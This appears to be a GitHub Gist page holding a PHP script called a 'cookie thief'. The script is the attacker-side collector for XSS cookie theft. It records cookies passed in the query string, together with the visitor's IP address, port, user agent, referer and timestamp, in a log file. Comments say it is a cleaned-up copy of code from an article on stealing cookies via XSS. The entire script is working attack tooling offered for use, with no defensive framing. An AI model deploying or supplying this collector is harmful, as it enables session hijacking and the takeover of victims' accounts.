Instantly share code, notes, and snippets.
Last active
April 24, 2021 16:42
PHP Cookie Thief with Information Logging
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// I've seen this code in several articles, the earliest of which that I've seen is here: | |
// http://www.go4expert.com/articles/stealing-cookie-xss-t17066/ | |
// This is just a copy with correct formatting (no curly quotes) and source attribution. | |
// I've also modified it just slightly to remove warnings when null values are passed to METHOD and REMOTE_HOST | |
// and added proper line breaks. | |
function GetIP() | |
{ | |
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) | |
$ip = getenv("HTTP_CLIENT_IP"); | |
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) | |
$ip = getenv("HTTP_X_FORWARDED_FOR"); | |
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) | |
$ip = getenv("REMOTE_ADDR"); | |
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) | |
$ip = $_SERVER['REMOTE_ADDR']; | |
else | |
$ip = "unknown"; | |
return($ip); | |
} | |
function logData() | |
{ | |
$ipLog="log.txt"; | |
$cookie = $_SERVER['QUERY_STRING']; | |
$register_globals = (bool) ini_get('register_gobals'); | |
if ($register_globals) $ip = getenv('REMOTE_ADDR'); | |
else $ip = GetIP(); | |
$rem_port = $_SERVER['REMOTE_PORT']; | |
$user_agent = $_SERVER['HTTP_USER_AGENT']; | |
$rqst_method = empty($_SERVER['METHOD']) ? null : $_SERVER['METHOD']; | |
$rem_host = empty($_SERVER['REMOTE_HOST']) ? null : $_SERVER['REMOTE_HOST']; | |
$referer = $_SERVER['HTTP_REFERER']; | |
$date=date ("l dS of F Y h:i:s A"); | |
$log=fopen("$ipLog", "a+"); | |
if (preg_match("/bhtmb/i", $ipLog) || preg_match("/bhtmlb/i", $ipLog)) | |
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>"); | |
else | |
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie" . PHP_EOL); | |
fclose($log); | |
} | |
logData(); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment